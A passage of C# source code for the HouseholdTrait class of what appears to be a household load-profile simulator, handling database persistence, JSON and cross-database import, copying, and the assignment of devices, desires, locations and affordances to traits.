connectionString, "unknown", 1, 10, 10, 1, 1, TimeType.Week, 1, 1, TimeType.Week, 1, 0, EstimateType.Theoretical, "", System.Guid.NewGuid().ToStrGuid()); public void DeleteAffordanceFromDB([JetBrains.Annotations.NotNull] HHTAffordance hhaff) { hhaff.DeleteFromDB(); var hhl = _locations.First(x => x == hhaff.HHTLocation); Logger.Get().SafeExecuteWithWait(() => hhl.AffordanceLocations.Remove(hhaff)); } [SuppressMessage("ReSharper", "PossibleInvalidOperationException")] public override void DeleteFromDB() { if (ID != null) { DeleteAllForOneParent(IntID, HHTLocation.ParentIDFieldName, HHTLocation.TableName, ConnectionString); DeleteAllForOneParent(IntID, HHTAutonomousDevice.ParentIDFieldName, HHTAutonomousDevice.TableName, ConnectionString); DeleteAllForOneParent(IntID, HHTDesire.ParentIDFieldName, HHTDesire.TableName, ConnectionString); DeleteAllForOneParent(IntID, HHTTrait.ParentIDFieldName, HHTTrait.TableName, ConnectionString); DeleteAllForOneParent(IntID, HHTTag.ParentIDFieldName, HHTTag.TableName, ConnectionString); DeleteAllForOneParent(IntID, HHTAffordance.ParentIDFieldName, HHTAffordance.TableName, ConnectionString); DeleteByID((int)ID, TableName, ConnectionString); } } /* public double EstimateDuration() { double totalSeconds = 0; var count = 0; foreach (var location in _locations) { foreach (var affloc in location.AffordanceLocations) { totalSeconds += affloc.Affordance.PersonProfile.Duration.TotalSeconds; count++; } } return totalSeconds / count; }*/ [ItemNotNull] [JetBrains.Annotations.NotNull] [SuppressMessage("ReSharper", "UnusedParameter.Global")] public IEnumerable<IAutonomousDevice> GetAllAutodevs(int count = 0) { if (count > 10) { throw new DataIntegrityException( "The stack of household traits is more than 10 levels deep. This most likely means that a loop was created where Trait A contains B and B contains A. The current trait is " + Name + ". Please fix."); } var autodevs = new List<IAutonomousDevice>(); foreach (var subTrait in SubTraits) { autodevs.AddRange(subTrait.ThisTrait.GetAllAutodevs(count + 1)); } autodevs.AddRange(_autodevs); return autodevs; } [ItemNotNull] [JetBrains.Annotations.NotNull] [SuppressMessage("ReSharper", "UnusedParameter.Global")] public List<HHTDesire> GetAllDesires(int count = 0) { if (count > 10) { throw new DataIntegrityException( "The stack of household traits is more than 10 levels deep. This most likely means that a loop was created where Trait A contains B and B contains A. The current trait is " + Name + ". Please fix."); } var desires = new List<HHTDesire>(); foreach (var subTrait in SubTraits) { desires.AddRange(subTrait.ThisTrait.GetAllDesires(count + 1)); } desires.AddRange(_desires); return desires; } [ItemNotNull] [JetBrains.Annotations.NotNull] [SuppressMessage("ReSharper", "UnusedParameter.Global")] public IEnumerable<HHTLocation> GetAllLocations(int count = 0) { if (count > 10) { throw new DataIntegrityException( "The stack of household traits is more than 10 levels deep. This most likely means that a loop was created where Trait A contains B and B contains A. The current trait is " + Name + ". Please fix."); } var locations = new List<HHTLocation>(); foreach (var subTrait in SubTraits) { locations.AddRange(subTrait.ThisTrait.GetAllLocations(count + 1)); } locations.AddRange(_locations); return locations; } public int GetExecuteableAffordanes([JetBrains.Annotations.NotNull] Person p) { var affs = CollectAffordances(true); if (affs.Count == 0) // no need to check traits without any affordances. { return 0; } var count = 0; foreach (var aff in affs) { if (aff.IsValidPerson(p)) { count++; } } return count; } [ItemNotNull] [JetBrains.Annotations.NotNull] public List<VLoadType> GetLoadTypes([ItemNotNull] [JetBrains.Annotations.NotNull] ObservableCollection<Affordance> affordances) { var loadTypes = new Dictionary<VLoadType, bool>(); foreach (var affordance in affordances) { foreach (var affdev in affordance.AffordanceDevices) { if (affdev.LoadType == null) { throw new LPGException("Loadtype was null"); } if (!loadTypes.ContainsKey(affdev.LoadType)) { loadTypes.Add(affdev.LoadType, true); } } } foreach (var autodev in _autodevs) { if (autodev.LoadType == null) { throw new LPGException("Loadtype was null"); } if (!loadTypes.ContainsKey(autodev.LoadType)) { loadTypes.Add(autodev.LoadType, true); } } var result = new List<VLoadType>(); result.AddRange(loadTypes.Keys); return result; } public override DBBase ImportFromGenericItem(DBBase toImport, Simulator dstSim) => ImportFromItem((HouseholdTrait)toImport, dstSim); [JetBrains.Annotations.NotNull] [UsedImplicitly] public static DBBase ImportFromItem([JetBrains.Annotations.NotNull] HouseholdTrait item, [JetBrains.Annotations.NotNull] Simulator dstSim) { var hh = new HouseholdTrait(item.Name, null, item.Description, dstSim.ConnectionString, item._classification, item.MinimumPersonsInCHH, item.MaximumPersonsInCHH, item.MaximumNumberInCHH, item.EstimatedTimes, item.EstimatedTimeCount, item.EstimatedTimeType, item.EstimatedTimes2, item.EstimatedTimeCount2, item.EstimatedTimeType2, item.EstimatedDuration2InMinutes, item.EstimatedTimePerYearInH, item.EstimateType, item.ShortDescription, item.Guid); hh.SaveToDB(); foreach (var autodev in item.Autodevs) { var iad = GetAssignableDeviceFromListByName(dstSim.RealDevices.Items, dstSim.DeviceCategories.Items, dstSim.DeviceActions.Items, dstSim.DeviceActionGroups.Items, autodev.Device); TimeBasedProfile tbp = null; if (autodev.TimeProfile != null) { tbp = GetItemFromListByName(dstSim.Timeprofiles.Items, autodev.TimeProfile.Name); } VLoadType vlt = null; if (autodev.LoadType != null) { vlt = GetItemFromListByName(dstSim.LoadTypes.Items, autodev.LoadType.Name); } TimeLimit dt = null; if (autodev.TimeLimit != null) { dt = GetItemFromListByName(dstSim.TimeLimits.Items, autodev.TimeLimit.Name); } Location loc = null; if (autodev.Location != null) { loc = GetItemFromListByName(dstSim.Locations.Items, autodev.Location.Name); } Variable variable = null; if (autodev.Variable != null) { variable = GetItemFromListByName(dstSim.Variables.Items, autodev.Variable.Name); } if (iad != null) { hh.AddAutomousDevice(iad, tbp, autodev.TimeStandardDeviation, vlt, dt, loc, autodev.VariableValue, autodev.VariableCondition, variable); } } foreach (var hhLocation in item.Locations) { var l = GetItemFromListByName(dstSim.Locations.Items, hhLocation.Location.Name); if (l != null) { var hhl = hh.AddLocation(l); foreach (var affloc in hhLocation.AffordanceLocations) { var aff = GetItemFromListByName(dstSim.Affordances.Items, affloc.Affordance?.Name); var timeLimit = GetItemFromListByName(dstSim.TimeLimits.Items, affloc.TimeLimit?.Name); if (aff != null) { hh.AddAffordanceToLocation(hhl, aff, timeLimit, affloc.Weight, affloc.StartMinusMinutes, affloc.StartPlusMinutes, affloc.EndMinusMinutes, affloc.EndPlusMinutes); } } } } foreach (var hhtDesire in item.Desires) { var newDesire = GetItemFromListByName(dstSim.Desires.Items, hhtDesire.Desire.Name); if (newDesire != null) { hh.AddDesire(newDesire, hhtDesire.DecayTime, hhtDesire.HealthStatus, hhtDesire.Threshold, hhtDesire.Weight, hhtDesire.MinAge, hhtDesire.MaxAge, hhtDesire.Gender); } } foreach (var hhttag in item.Tags) { var tag = GetItemFromListByName(dstSim.TraitTags.Items, hhttag.Tag.Name); if (tag != null) { hh.AddTag(tag); } } foreach (var subtrait in item.SubTraits) { var trait = GetItemFromListByName(dstSim.HouseholdTraits.Items, subtrait.ThisTrait.Name); if (trait != null) { hh.AddTrait(trait); } else { Logger.Warning("Import failed for the sub-trait " + subtrait.ThisTrait.Name + ". Please add this subtrait manually."); } } hh.SaveToDB(); return hh; } public void ImportFromJsonObject([JetBrains.Annotations.NotNull] JsonDto json, [JetBrains.Annotations.NotNull] Simulator sim) { var checkedProperties = new List<string>(); ValidateAndUpdateValueAsNeeded(nameof(Name), checkedProperties, Name, json.Name, () => Name = json.Name ?? "No name"); ValidateAndUpdateValueAsNeeded(nameof(Description), checkedProperties, Description, json.Description, () => Description = json.Description); ValidateAndUpdateValueAsNeeded(nameof(Classification), checkedProperties, Classification, json.Classification, () => Classification = json.Classification); ValidateAndUpdateValueAsNeeded(nameof(EstimatedDuration2InMinutes), checkedProperties, EstimatedDuration2InMinutes, json.EstimatedDuration2InMinutes, () => EstimatedDuration2InMinutes = json.EstimatedDuration2InMinutes); ValidateAndUpdateValueAsNeeded(nameof(EstimatedTimeCount), checkedProperties, EstimatedTimeCount, json.EstimatedTimeCount, () => EstimatedTimeCount = json.EstimatedTimeCount); ValidateAndUpdateValueAsNeeded(nameof(EstimatedTimeCount2), checkedProperties, EstimatedTimeCount2, json.EstimatedTimeCount2, () => EstimatedTimeCount2 = json.EstimatedTimeCount2); ValidateAndUpdateValueAsNeeded(nameof(EstimatedTimeInSeconds), checkedProperties, EstimatedTimeInSeconds, json.EstimatedTimeInSeconds, () => EstimatedTimeInSeconds = json.EstimatedTimeInSeconds); ValidateAndUpdateValueAsNeeded(nameof(EstimatedTimePerYearInH), checkedProperties, EstimatedTimePerYearInH, json.EstimatedTimePerYearInH, () => EstimatedTimePerYearInH = json.EstimatedTimePerYearInH); ValidateAndUpdateValueAsNeeded(nameof(EstimatedTimes), checkedProperties, EstimatedTimes, json.EstimatedTimes, () => EstimatedTimes = json.EstimatedTimes); ValidateAndUpdateValueAsNeeded(nameof(EstimatedTimes2), checkedProperties, EstimatedTimes2, json.EstimatedTimes2, () => EstimatedTimes2 = json.EstimatedTimes2); ValidateAndUpdateValueAsNeeded(nameof(EstimatedTimeType), checkedProperties, EstimatedTimeType, json.EstimatedTimeType, () => EstimatedTimeType = json.EstimatedTimeType); ValidateAndUpdateValueAsNeeded(nameof(EstimatedTimeType2), checkedProperties, EstimatedTimeType2, json.EstimatedTimeType2, () => EstimatedTimeType2 = json.EstimatedTimeType2); ValidateAndUpdateValueAsNeeded(nameof(EstimateType), checkedProperties, EstimateType, json.EstimateType, () => EstimateType = json.EstimateType); ValidateAndUpdateValueAsNeeded(nameof(MaximumNumberInCHH), checkedProperties, MaximumNumberInCHH, json.MaximumNumberInCHH, () => MaximumNumberInCHH = json.MaximumNumberInCHH); ValidateAndUpdateValueAsNeeded(nameof(MaximumPersonsInCHH), checkedProperties, MaximumPersonsInCHH, json.MaximumPersonsInCHH, () => MaximumPersonsInCHH = json.MaximumPersonsInCHH); ValidateAndUpdateValueAsNeeded(nameof(MinimumPersonsInCHH), checkedProperties, MinimumPersonsInCHH, json.MinimumPersonsInCHH, () => MinimumPersonsInCHH = json.MinimumPersonsInCHH); ValidateAndUpdateValueAsNeeded(nameof(ShortDescription), checkedProperties, ShortDescription, json.ShortDescription, () => ShortDescription = json.ShortDescription); ValidateAndUpdateValueAsNeeded(nameof(Guid), checkedProperties, Guid, json.Guid, () => Guid = json.Guid); if (NeedsUpdate) { Logger.Info("Adjusting values based on Json-Data for " + json.Name); } CheckIfAllPropertiesWereCovered(checkedProperties, this); //lists SynchronizeListWithCreation(Autodevs, json.AutonomousDevices, AddAutonomousDeviceFromJto, sim); SynchronizeListWithCreation(Locations, json.Locations, AddLocationFromJto, sim); SynchronizeListWithCreation(Desires, json.Desires, AddDesireFromJto, sim); SynchronizeListWithCreation(Tags, json.Tags, AddTagFromJto, sim); SynchronizeListWithCreation(LivingPatternTags, json.LivingPatternTags, AddLivingPatternTagFromJto, sim); SaveToDB(); } public void ImportHouseholdTrait([JetBrains.Annotations.NotNull] HouseholdTrait selectedImportHousehold) { Classification = selectedImportHousehold._classification; Description = selectedImportHousehold.Description; EstimatedTimeCount = selectedImportHousehold.EstimatedTimeCount; EstimatedTimeType = selectedImportHousehold.EstimatedTimeType; EstimatedTimes = selectedImportHousehold.EstimatedTimes; MaximumNumberInCHH = selectedImportHousehold.MaximumNumberInCHH; MaximumPersonsInCHH = selectedImportHousehold.MaximumPersonsInCHH; MinimumPersonsInCHH = selectedImportHousehold.MinimumPersonsInCHH; ShortDescription = selectedImportHousehold.ShortDescription; foreach (var hhAutonomousDevice in selectedImportHousehold._autodevs) { if (hhAutonomousDevice.Device != null) { AddAutomousDevice(hhAutonomousDevice.Device, hhAutonomousDevice.TimeProfile, hhAutonomousDevice.TimeStandardDeviation, hhAutonomousDevice.LoadType, hhAutonomousDevice.TimeLimit, hhAutonomousDevice.Location, hhAutonomousDevice.VariableValue, hhAutonomousDevice.VariableCondition, hhAutonomousDevice.Variable); } } foreach (var hhLocation in selectedImportHousehold._locations) { var newLocation = AddLocation(hhLocation.Location); foreach (var affordance in hhLocation.AffordanceLocations) { if (affordance.Affordance == null) { throw new LPGException("Affordance was null"); } AddAffordanceToLocation(newLocation, affordance.Affordance, affordance.TimeLimit, affordance.Weight, affordance.StartMinusMinutes, affordance.StartPlusMinutes, affordance.EndMinusMinutes, affordance.EndPlusMinutes); } } foreach (var tag in selectedImportHousehold._tags) { AddTag(tag.Tag); } foreach (var tag in selectedImportHousehold._livingPatternTags) { AddLivingPatternTag(tag.Tag); } foreach (var hhtDesire in selectedImportHousehold.Desires) { AddDesire(hhtDesire.Desire, hhtDesire.DecayTime, hhtDesire.HealthStatus, hhtDesire.Threshold, hhtDesire.Weight, hhtDesire.MinAge, hhtDesire.MaxAge, hhtDesire.Gender); } foreach (var subTrait in selectedImportHousehold.SubTraits) { AddTrait(subTrait.ThisTrait); } } [UsedImplicitly] [JetBrains.Annotations.NotNull] public static List<HouseholdTrait> ImportObjectFromJson([JetBrains.Annotations.NotNull] Simulator sim, [JetBrains.Annotations.NotNull] [ItemNotNull] List<JsonDto> jsonTraits) { List<HouseholdTrait> newTraits = new List<HouseholdTrait>(); foreach (var jsonTrait in jsonTraits) { var trait = sim.HouseholdTraits.FindByGuid(jsonTrait.Guid); if (trait == null) { Logger.Info(jsonTrait.Name + " not found, creating..."); trait = sim.HouseholdTraits.CreateNewItem(sim.ConnectionString); newTraits.Add(trait); } trait.ImportFromJsonObject(jsonTrait, sim); } sim.HouseholdTraits.Items.Sort((x, y) => string.Compare(x.Name, y.Name, StringComparison.Ordinal)); return newTraits; } public bool IsValidForHousehold([JetBrains.Annotations.NotNull] ModularHousehold chh) { var persons = chh.Persons.Count; if (persons < MinimumPersonsInCHH || persons > MaximumPersonsInCHH) { return false; } return true; } public bool IsValidForPerson([CanBeNull] Person p) { if (p == null) { return false; } var affs = CollectAffordances(true); if (affs.Count == 0) // no need to check traits without any affordances. { return true; } foreach (var aff in affs) { if (aff.IsValidPerson(p)) { return true; } } return false; } public static void LoadFromDatabase([ItemNotNull] [JetBrains.Annotations.NotNull] ObservableCollection<HouseholdTrait> result, [JetBrains.Annotations.NotNull] string connectionString, [ItemNotNull] [JetBrains.Annotations.NotNull] ObservableCollection<Location> allLocations, [ItemNotNull] [JetBrains.Annotations.NotNull] ObservableCollection<Affordance> allAffordances, [ItemNotNull] [JetBrains.Annotations.NotNull] ObservableCollection<RealDevice> allDevices, [ItemNotNull] [JetBrains.Annotations.NotNull] ObservableCollection<DeviceCategory> allDeviceCategories, [ItemNotNull] [JetBrains.Annotations.NotNull] ObservableCollection<TimeBasedProfile> allTimeBasedProfiles, [ItemNotNull] [JetBrains.Annotations.NotNull] ObservableCollection<VLoadType> loadTypes, [ItemNotNull] [JetBrains.Annotations.NotNull] ObservableCollection<TimeLimit> timeLimits, [ItemNotNull] [JetBrains.Annotations.NotNull] ObservableCollection<Desire> allDesires, [ItemNotNull] [JetBrains.Annotations.NotNull] ObservableCollection<DeviceAction> deviceActions, [ItemNotNull] [JetBrains.Annotations.NotNull] ObservableCollection<DeviceActionGroup> groups, [ItemNotNull] [JetBrains.Annotations.NotNull] ObservableCollection<TraitTag> traittags, [ItemNotNull][JetBrains.Annotations.NotNull] ObservableCollection<LivingPatternTag> allLivingPatternTags, bool ignoreMissingTables, [ItemNotNull] [JetBrains.Annotations.NotNull] ObservableCollection<Variable> variables) { var aic = new AllItemCollections(realDevices: allDevices, deviceCategories: allDeviceCategories, loadTypes: loadTypes, timeLimits: timeLimits, timeProfiles: allTimeBasedProfiles, affordances: allAffordances, locations: allLocations, desires: allDesires); LoadAllFromDatabase(result, connectionString, TableName, AssignFields, aic, ignoreMissingTables, true); // hhlocations var hhtLocations = new ObservableCollection<HHTLocation>(); HHTLocation.LoadFromDatabase(hhtLocations, connectionString, allLocations, allAffordances, ignoreMissingTables); SetSubitems(new List<DBBase>(result), new List<DBBase>(hhtLocations), IsCorrectHHTLocationParent, ignoreMissingTables); // hhautonomous devices var hhAutonomousDevices = new ObservableCollection<HHTAutonomousDevice>(); HHTAutonomousDevice.LoadFromDatabase(hhAutonomousDevices, connectionString, allTimeBasedProfiles, allDevices, allDeviceCategories, loadTypes, timeLimits, ignoreMissingTables, allLocations, deviceActions, groups, variables); SetSubitems(new List<DBBase>(result), new List<DBBase>(hhAutonomousDevices), IsCorrectHHAutonomousParent, ignoreMissingTables); // hhtdesires devices var hhtDesires = new ObservableCollection<HHTDesire>(); HHTDesire.LoadFromDatabase(hhtDesires, connectionString, allDesires, ignoreMissingTables); SetSubitems(new List<DBBase>(result), new List<DBBase>(hhtDesires), IsCorrectHHTDesireParent, ignoreMissingTables); // hhAffordance var hhAffordances = new ObservableCollection<HHTAffordance>(); HHTAffordance.LoadFromDatabase(hhAffordances, connectionString, ignoreMissingTables, allAffordances, result, timeLimits); // no setsubitems, because that's already done in the loadfromdatabase // hhtTraits var hhtTraits = new ObservableCollection<HHTTrait>(); HHTTrait.LoadFromDatabase(hhtTraits, connectionString, result, ignoreMissingTables); SetSubitems(new List<DBBase>(result), new List<DBBase>(hhtTraits), IsCorrectHHTTraitParent, ignoreMissingTables); // hhtTags var hhttags = new ObservableCollection<HHTTag>(); HHTTag.LoadFromDatabase(hhttags, connectionString, ignoreMissingTables, traittags); SetSubitems(new List<DBBase>(result), new List<DBBase>(hhttags), IsCorrectHHTTagParent, ignoreMissingTables); // living pattern Tags var livingpatternTags = new ObservableCollection<HHTLivingPatternTag>(); HHTLivingPatternTag.LoadFromDatabase(livingpatternTags, connectionString, ignoreMissingTables, allLivingPatternTags); SetSubitems(new List<DBBase>(result), new List<DBBase>(livingpatternTags), IsCorrectHHTLivingPatternTagParent, ignoreMissingTables); // sort foreach (var hh in result) { hh._locations.Sort(); hh._autodevs.Sort(); foreach (var hhLocation in hh.Locations) { hhLocation.AffordanceLocations.Sort(); } } // cleanup result.Sort(); } [JetBrains.Annotations.NotNull] public HouseholdTrait MakeCopy([JetBrains.Annotations.NotNull] Simulator sim) { var newTrait = sim.HouseholdTraits.CreateNewItem(sim.ConnectionString); var s = Name; var name = Name + " (Copy)"; var lastspace = s.LastIndexOf(" ", StringComparison.Ordinal); if (lastspace > 0) { var number = s.Substring(lastspace); var success = int.TryParse(number, out int output); if (success) { var newname = name.Substring(0, lastspace); output++; while (sim.HouseholdTraits.IsNameTaken(newname + " " + output)) { output++; } name = newname + " " + output; } } newTrait.Name = name; newTrait.ImportHouseholdTrait(this); return newTrait; } public void RemoveDesire([JetBrains.Annotations.NotNull] HHTDesire desire) { _desires.Remove(desire); desire.DeleteFromDB(); } public override void SaveToDB() { base.SaveToDB(); foreach (var hhl in _locations) { hhl.SaveToDB(); } foreach (var hhAutonomous in Autodevs) { hhAutonomous.SaveToDB(); } foreach (var trait in _subTraits) { trait.SaveToDB(); } foreach (var tag in _tags) { tag.SaveToDB(); } foreach (HHTDesire desire in _desires) { desire.SaveToDB(); } foreach (var lptag in _livingPatternTags) { lptag.SaveToDB(); } } [JetBrains.Annotations.NotNull] public string TheoreticalTimeEstimateString() { var duration = CalculateAverageAffordanceDuration().TotalHours.ToString("N1", CultureInfo.CurrentCulture) + "h, "; var estimatedTime = " (" + duration + EstimatedTimes + "x/" + EstimatedTimeCount + " " + EstimatedTimeType + ")"; if (Math.Abs(EstimatedTimeCount - 1) < Constants.Ebsilon) { estimatedTime = " (" + duration + EstimatedTimes + "x/" + EstimatedTimeType + ")"; } return estimatedTime; } protected override bool IsItemLoadedCorrectly(out string message) { message = ""; return true; } protected override void SetSqlParameters(Command cmd) { cmd.AddParameter("Name", "@myname", Name); cmd.AddParameter("Description", _description); cmd.AddParameter("Classification", _classification); cmd.AddParameter("MinimumPersonCount", _minimumPersonsInCHH); cmd.AddParameter("MaximumPersonCount", _maximumPersonsInCHH); cmd.AddParameter("MaximumNumberCount", _maximumNumberInCHH); cmd.AddParameter("EstimatedTimeCount", _estimatedTimeCount); cmd.AddParameter("estimatedTimeType", (int)_estimatedTimeType); cmd.AddParameter("EstimatedTimes", _estimatedTimes); cmd.AddParameter("EstimatedTimeCount2", _estimatedTimeCount2); cmd.AddParameter("estimatedTimeType2", (int)_estimatedTimeType2); cmd.AddParameter("EstimatedTimes2", _estimatedTimes2); cmd.AddParameter("EstimatedDuration2", _estimatedDuration2InMinutes); cmd.AddParameter("EstimatedTimePerYearInH", _estimatedTimePerYearInH); cmd.AddParameter("EstimateType", _estimateType); cmd.AddParameter("ShortDescription", _shortDescription); } internal void AddAffordanceToLocation([JetBrains.Annotations.NotNull] Location location, [JetBrains.Annotations.NotNull] Affordance aff, [CanBeNull] TimeLimit timeLimit, int weight, int startMinusTime, int startPlusTime, int endMinusTime, int endPlusTime) { var hhl = _locations.FirstOrDefault(loc => location == loc.Location); if (hhl == null) { Logger.Error("HHT Location could not be found"); return; } AddAffordanceToLocation(hhl, aff, timeLimit, weight, startMinusTime, startPlusTime, endMinusTime, endPlusTime); } internal void AddAffordanceToLocation([JetBrains.Annotations.NotNull] HHTLocation location, [JetBrains.Annotations.NotNull] Affordance aff, [CanBeNull] TimeLimit timeLimit, int weight, int startMinusTime, int startPlusTime, int endMinusTime, int endPlusTime) { var hhl = _locations.First(loc => location.Location == loc.Location); foreach (var hhAffordance in hhl.AffordanceLocations) { if (hhAffordance.HHTLocation?.Location == location.Location && hhAffordance.Affordance == aff && hhAffordance.TimeLimit == timeLimit && hhAffordance.Weight == weight && hhAffordance.StartMinusMinutes == startMinusTime && hhAffordance.StartPlusMinutes == startPlusTime && hhAffordance.EndMinusMinutes == endMinusTime && hhAffordance.EndPlusMinutes == endPlusTime) { Logger.Info("This trait was already added."); return; } } var hhaff = new HHTAffordance(null, aff, hhl, IntID, ConnectionString, aff.Name + " - " + hhl.Name, timeLimit, weight, startMinusTime, startPlusTime, endMinusTime, endPlusTime, System.Guid.NewGuid().ToStrGuid()); hhaff.SaveToDB(); Logger.Get().SafeExecute(() => { hhl.AffordanceLocations.Add(hhaff); hhl.AffordanceLocations.Sort(); hhl.Notify("AvailableAffordances"); }); } [JetBrains.Annotations.NotNull] internal HHTAutonomousDevice AddAutomousDevice([JetBrains.Annotations.NotNull] IAssignableDevice device, [CanBeNull] TimeBasedProfile timeBasedProfile, decimal timeStandardDeviation, [CanBeNull] VLoadType vLoadType, [CanBeNull] TimeLimit timeLimit, [CanBeNull] Location loc, double variableValue, VariableCondition variableCondition, [CanBeNull] Variable variable) { var name = device.Name; var hhad = new HHTAutonomousDevice(null, device, timeBasedProfile, IntID, timeStandardDeviation, vLoadType, timeLimit, ConnectionString, name, loc, variableValue, variableCondition, variable, System.Guid.NewGuid().ToStrGuid()); Logger.Get().SafeExecuteWithWait(() => { Autodevs.Add(hhad); Autodevs.Sort(); }); SaveToDB(); return hhad; } [JetBrains.Annotations.NotNull] internal HHTDesire AddDesire([JetBrains.Annotations.NotNull] Desire desire, decimal decayTime, [JetBrains.Annotations.NotNull] string healthStatus, decimal threshold, decimal weight, int minAge, int maxAge, PermittedGender gender) { var name = desire.Name; var hht = new HHTDesire(null, IntID, decayTime, desire, HHTDesire.GetHealthStatusEnumForHealthStatusString(healthStatus), threshold, weight, ConnectionString, name, minAge, maxAge, gender, System.Guid.NewGuid().ToStrGuid()); Desires.Add(hht); hht.SaveToDB(); return hht; } [JetBrains.Annotations.NotNull] internal HHTLocation AddLocation([JetBrains.Annotations.NotNull] Location location) { foreach (var hhLocation in _locations) { if (hhLocation.Location == location) { return hhLocation; } } var hhl = new HHTLocation(null, location, ID, location.Name, ConnectionString, System.Guid.NewGuid().ToStrGuid()); _locations.Add(hhl); hhl.SaveToDB(); _locations.Sort(); return hhl; } internal void AddTrait([JetBrains.Annotations.NotNull] HouseholdTrait trait) { if (trait == this) { return; } var hhad = new HHTTrait(null, ID, trait, ConnectionString, trait.Name, System.Guid.NewGuid().ToStrGuid()); _subTraits.Add(hhad); _subTraits.Sort(); SaveToDB(); } internal void DeleteHHTAutonomousDeviceFromDB([JetBrains.Annotations.NotNull] HHTAutonomousDevice hhAutonomous) { hhAutonomous.DeleteFromDB(); Autodevs.Remove(hhAutonomous); } internal void DeleteHHTLocationFromDB([JetBrains.Annotations.NotNull] HHTLocation hhl) { if (hhl.ID != null) { hhl.DeleteFromDB(); } _locations.Remove(hhl); } public void DeleteHHTTag([JetBrains.Annotations.NotNull] HHTTag tag) { tag.DeleteFromDB(); _tags.Remove(tag); } public void DeleteHHTLivingPatternTag([JetBrains.Annotations.NotNull] HHTLivingPatternTag tag) { tag.DeleteFromDB(); _livingPatternTags.Remove(tag); } internal void DeleteHHTTrait([JetBrains.Annotations.NotNull] HHTTrait hhtrait) { hhtrait.DeleteFromDB(); _subTraits.Remove(hhtrait); } [JetBrains.Annotations.NotNull] private HHTAutonomousDevice AddAutonomousDeviceFromJto([JetBrains.Annotations.NotNull] HHTAutonomousDevice.JsonDto jto, [JetBrains.Annotations.NotNull] Simulator sim) { var dev = sim.GetAssignableDeviceByGuid(jto.Device.Guid) ?? throw new LPGException("Could not find " + jto.Device); var timeprofile = sim.Timeprofiles.FindByJsonReference(jto.TimeProfile); var lt = sim.LoadTypes.FindByJsonReference(jto.LoadType); var timelimit = sim.TimeLimits.FindByJsonReference(jto.TimeLimit); var loc = sim.Locations.FindByJsonReference(jto.Location); var variable = sim.Variables.FindByJsonReference(jto.Variable); return AddAutomousDevice(dev, timeprofile, jto.StandardDeviation, lt, timelimit, loc, jto.VariableValue, jto.VariableCondition, variable); } [JetBrains.Annotations.NotNull] private HHTDesire AddDesireFromJto([JetBrains.Annotations.NotNull] HHTDesire.JsonDto jto, [JetBrains.Annotations.NotNull] Simulator sim) { Desire d = sim.Desires.FindByJsonReference(jto.Desire) ?? throw new LPGException("Could not import desire " + jto.Desire); var desire = AddDesire(d, jto.DecayTime, jto.Sicknessdesire.ToString(), jto.Threshold, jto.Weight, jto.MinAge, jto.MaxAge, jto.Gender); return desire; } [JetBrains.Annotations.NotNull] private HHTLocation AddLocationFromJto([JetBrains.Annotations.NotNull] HHTLocation.JsonDto jto, [JetBrains.Annotations.NotNull] Simulator sim) { var loc = sim.Locations.FindByJsonReference(jto.Location) ?? throw new LPGException("Could not import Location " + jto.Location); var hhtloc = AddLocation(loc); foreach (var jtoAffordance in jto.Affordances) { var aff = sim.Affordances.FindByJsonReference(jtoAffordance.Affordance) ?? throw new LPGException("Could not find Affordance " + jtoAffordance.Affordance); var timelimit = sim.TimeLimits.FindByJsonReference(jtoAffordance.TimeLimit); AddAffordanceToLocation(hhtloc, aff, timelimit, jtoAffordance.Weight, jtoAffordance.StartMinusMinutes, jtoAffordance.StartPlusMinutes, jtoAffordance.EndMinusMinutes, jtoAffordance.EndPlusMinutes); } return hhtloc; } [JetBrains.Annotations.NotNull] private static HouseholdTrait AssignFields([JetBrains.Annotations.NotNull] DataReader dr, [JetBrains.Annotations.NotNull] string connectionString, bool ignoreMissingFields, [JetBrains.Annotations.NotNull] AllItemCollections aic) { var hhid = dr.GetIntFromLong("ID"); var name = dr.GetString("Name", "no name"); var description = dr.GetString("Description", false); var classificaiton = dr.GetString("Classification", false, "unknown", ignoreMissingFields); var minimumPersonCount = dr.GetIntFromLong("MinimumPersonCount", false, ignoreMissingFields, -1); var maximumPersonCount = dr.GetIntFromLong("MaximumPersonCount", false, ignoreMissingFields, -1); var maximumNumberCount = dr.GetIntFromLong("MaximumNumberCount", false, ignoreMissingFields, -1); var estimatedTimes = dr.GetDouble("EstimatedTimes", false, -1, ignoreMissingFields); var estimatedTimeCount = dr.GetDouble("EstimatedTimeCount", false, -1, ignoreMissingFields); var estimatedTimeType = (TimeType)dr.GetIntFromLong("estimatedTimeType", false, ignoreMissingFields); var estimatedTimes2 = dr.GetDouble("EstimatedTimes2", false, -1, ignoreMissingFields); var estimatedTimeCount2 = dr.GetDouble("EstimatedTimeCount2", false, -1, ignoreMissingFields); var estimatedTimeType2 = (TimeType)dr.GetIntFromLong("estimatedTimeType2", false, ignoreMissingFields); var estimatedDuration2 = dr.GetDouble("EstimatedDuration2", false, -1, ignoreMissingFields); var estimatedTimePerYear = dr.GetDouble("EstimatedTimePerYearInH", false, 0, ignoreMissingFields); var estimateType = (EstimateType)dr.GetIntFromLong("EstimateType", false, ignoreMissingFields); var shortDescription = dr.GetString("ShortDescription", false, "", ignoreMissingFields); var guid = GetGuid(dr, ignoreMissingFields); var hh = new HouseholdTrait(name, hhid, description, connectionString, classificaiton, minimumPersonCount, maximumPersonCount, maximumNumberCount, estimatedTimes, estimatedTimeCount, estimatedTimeType, estimatedTimes2, estimatedTimeCount2, estimatedTimeType2, estimatedDuration2, estimatedTimePerYear, estimateType, shortDescription, guid); return hh; } private TimeSpan CalculateAverageAffordanceDuration() { var ts = TimeSpan.FromTicks(0); var count = 0; foreach (var affordance in CollectAffordances(true)) { if (affordance.PersonProfile != null) { ts = ts.Add(affordance.PersonProfile.Duration); count++; } } if (count > 0) { var totalseconds = ts.TotalSeconds / count; return TimeSpan.FromSeconds(totalseconds); } return new TimeSpan(0); } private static bool IsCorrectHHAutonomousParent([JetBrains.Annotations.NotNull] DBBase parent, [JetBrains.Annotations.NotNull] DBBase child) { var hd = (HHTAutonomousDevice)child; if (parent.ID == hd.HouseholdTraitID) { var hh = (HouseholdTrait)parent; hh.Autodevs.Add(hd); return true; } return false; } private static bool IsCorrectHHTDesireParent([JetBrains.Annotations.NotNull] DBBase parent, [JetBrains.Annotations.NotNull] DBBase child) { var hd = (HHTDesire)child; if (parent.ID == hd.HouseholdTraitID) { var hh = (HouseholdTrait)parent; hh.Desires.Add(hd); return true; } return false; } private static bool IsCorrectHHTLocationParent([JetBrains.Annotations.NotNull] DBBase parent, [JetBrains.Annotations.NotNull] DBBase child) { var hd = (HHTLocation)child; if (parent.ID == hd.HouseholdTraitID) { var hht = 